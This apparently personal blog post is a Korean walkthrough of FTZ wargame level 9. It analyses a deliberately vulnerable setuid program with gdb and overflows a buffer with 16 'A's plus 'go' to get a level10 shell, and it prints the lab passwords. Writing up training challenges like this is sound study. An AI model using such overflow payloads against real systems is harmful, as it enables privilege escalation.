FTZ LEVEL 9 Write-up

c0wb3ll ㅣ 2019. 12. 10. 03:19

FTZ LEVEL 9

간단하게 포너블에도 입문하기 위해 FTZ 에 있는 BOF(Buffer Over Flow)에 대해 공부해보았다.

ID          : level9
Password    : apple


  로 로그인 하면 된다.
  

 

[level9@ftz level9]$ ls
  hint public_html tmp
  
[level9@ftz level9]$ cat hint
  다음은 /usr/bin/bof의 소스이다.

  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>

  main(){

    char buf2[10];
    char buf[10];

    printf("It can be overflow : ");
    fgets(buf,40,stdin);

    if ( strncmp(buf2, "go", 2) == 0 )
     {
          printf("Good Skill!\n");
          setreuid( 3010, 3010 );
          system("/bin/bash");
     }

  }   

  이를 이용하여 level10의 권한을 얻어라.

  

/usr/bin/bof 의 소스라고 하며 소스코드가 나온다. 소스 코드를 분석해보자면 buf 와 buf2 에 각각 10만큼의 크기를 할당해주고 printf 함수로 "It can be overflow : "라는 문자열을 출력해준다.
그 뒤 fgets 함수로 buf 에 40만큼의 길이까지 표준으로 입력을 받고(?) if 문에서 strncmp 함수를 이용해 buf2 안에 있는 인자와 "go"라는 문자열을 2byte만큼 비교한뒤 참이면 printf함수로 "Good Skill!\n" 을 출력한뒤 setreuid를 통해 user의 권한을 level9에서 level10으로 바꾸고 /bin/bash 명령어를 통해 level10의 권한을 얻게 해준다.
여기서 문제는 buf[10] 과 buf[10] 만큼 크기를 지정해 주었는데 fgets 함수에서 길이를 40만큼이나 받는다. 따라서 이곳에서 bof가 터지게 된다.
여기서 위에 소스코드만 본다면 buf에서 10만큼 입력해준뒤 go를 입력하면 뚫려야 하지만 그렇지 않았다. 따라서 gdb로 분석해보기로 한다.

[level9@ftz level9]$ cd /usr/bin/
  

으로 bof 파일이 있는 곳으로 이동하였다.

여기서 gdb로 bof 를 까보려고 했으나 어떤 이유에서인지 제대로 기능하지 않았다.( 내 추측으로는 user는 level9인데 파일 권한은 root이기 때문이지 않을까 추측해 본다. ) 따라서 tmp 디렉토리에 소스코드를 그대로 복제해 온 뒤 컴파일 하여 gdb로 분석해보기로 하였다.

[level9@ftz level9]$ vim bof.c
  

로 vim 에디터를 열고

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(){

  char buf2[10];
  char buf[10];

  printf("It can be overflow : ");
  fgets(buf,40,stdin);

  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
}
:wq!

소스코드를 복붙해준뒤 :wq!로 저장해주고 나간다.

[level9@ftz level9]$ gcc -o bof.o bof.c
  

위 명령어를 이용하여 bof.c 파일을 bof.o라는 목적파일로 변경해주고

[level9@ftz level9]$ ld -o bof bof.o
  

위 명령어로 실행파일로 컴파일 시켜준다. 이후 gdb 로 분석해 보자

[level9@ftz level9]$ gdb bof
  GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
  Copyright 2003 Free Software Foundation, Inc.
  GDB is free software, covered by the GNU General Public License, and you are
  welcome to change it and/or distribute copies of it under certain conditions.
  Type "show copying" to see the conditions.
  There is absolutely no warranty for GDB.  Type "show warranty" for details.
  This GDB was configured as "i386-redhat-linux-gnu"...
  
(gdb) set disassembly-flavor intel
  

set disassembly-flavor intel 명령어로 출력 형식(?)을 보기 쉬운 인텔형식으로 바꾸어주고

(gdb) i fu
  All defined functions:

  Non-debugging symbols:
  0x080482e8  _init
  0x08048310  system
  0x08048320  fgets
  0x08048330  strncmp
  0x08048340  __libc_start_main
  0x08048350  printf
  0x08048360  setreuid
  0x08048420  main
  0x080484a8  __libc_csu_init
  0x080484d8  __libc_csu_fini
  0x08048530  _fini
  0x10090704  call_gmon_start
  0x10090728  __do_global_dtors_aux
  0x10090764  frame_dummy
  0x1009087c  __do_global_ctors_aux
  

i fu 명령어로 전체적인 함수의 정보를 검색해본다. 보통 함수의 본체는 main 함수이니 우리가 봐야할 부분은 main함수 부분인거 같다.

(gdb) disas main
  Dump of assembler code for function main:
  0x08048420 <main+0>:	push   ebp
  0x08048421 <main+1>:	mov    ebp,esp
  0x08048423 <main+3>:	sub    esp,0x28
  0x08048426 <main+6>:	and    esp,0xfffffff0
  0x08048429 <main+9>:	mov    eax,0x0
  0x0804842e <main+14>:	sub    esp,eax
  0x08048430 <main+16>:	sub    esp,0xc
  0x08048433 <main+19>:	push   0x8048554
  0x08048438 <main+24>:	call   0x8048350 <printf>
  0x0804843d <main+29>:	add    esp,0x10
  0x08048440 <main+32>:	sub    esp,0x4
  0x08048443 <main+35>:	push   ds:0x8049698
  0x08048449 <main+41>:	push   0x28
  0x0804844b <main+43>:	lea    eax,[ebp-40]
  0x0804844e <main+46>:	push   eax
  0x0804844f <main+47>:	call   0x8048320 <fgets>
  0x08048454 <main+52>:	add    esp,0x10
  0x08048457 <main+55>:	sub    esp,0x4
  0x0804845a <main+58>:	push   0x2
  0x0804845c <main+60>:	push   0x804856a
  0x08048461 <main+65>:	lea    eax,[ebp-24]
  0x08048464 <main+68>:	push   eax
  0x08048465 <main+69>:	call   0x8048330 <strncmp>
  0x0804846a <main+74>:	add    esp,0x10
  0x0804846d <main+77>:	test   eax,eax
  0x0804846f <main+79>:	jne    0x80484a6 <main+134>
  0x08048471 <main+81>:	sub    esp,0xc
  0x08048474 <main+84>:	push   0x804856d
  0x08048479 <main+89>:	call   0x8048350 <printf>
  0x0804847e <main+94>:	add    esp,0x10
  0x08048481 <main+97>:	sub    esp,0x8
  0x08048484 <main+100>:	push   0xbc2
  0x08048489 <main+105>:	push   0xbc2
  0x0804848e <main+110>:	call   0x8048360 <setreuid>
  0x08048493 <main+115>:	add    esp,0x10
  0x08048496 <main+118>:	sub    esp,0xc
  0x08048499 <main+121>:	push   0x804857a
  ---Type <return> to continue, or q <return> to quit---
  0x0804849e <main+126>:	call   0x8048310 <system>
  0x080484a3 <main+131>:	add    esp,0x10
  0x080484a6 <main+134>:	leave  
  0x080484a7 <main+135>:	ret    
  End of assembler dump.
  

main 함수를 까보았다. fgets함수로는 ebp-40 에서 입력을 받는것을 알 수 있고 strncmp함수는 ebp-24에서 'go' 라는 문자열과 비교한다는 것을 알 수 있다.

따라서 ebp-40에서 부터 입력을 받아 ebp-24의 위치까지 덮어씌운 뒤 go를 입력하면 된다. 간단하게 A를 16번 입력하고 go를 입력하면 권한을 얻을 수 있다.

[level9@ftz level9]$ /usr/bin/bof
  It can be overflow : AAAAAAAAAAAAAAAAgo
  Good Skill!
  [level10@ftz level9]$ 
  

보다 싶이 user가 level10으로 바뀐것을 확인 할 수 있다.

 

하지만! AAAAAAAAAAAAAAAAgo 는 너무 멋없지 않나?

간단한 python 코드로도 똑같은 결과를 얻을 수 있다.

[level9@ftz level9]$ (python -c "print 'A'*16 + 'go'";cat) | /usr/bin/bof
  It can be overflow : Good Skill!

my-pass



Level10 Password is "interesting to hack!".

그 후 ftz에서 지원하는 my-pass 명령어를 통해 level10의 비밀번호를 얻을 수 있다.

level10은 bof와 관련된 내용이 아니므로 다음 포스팅은 level11로 하도록 하겠따! 하지만 내가 게을러서

오래~~ㅅ동안 글이 안올라올 예정이다....아마...?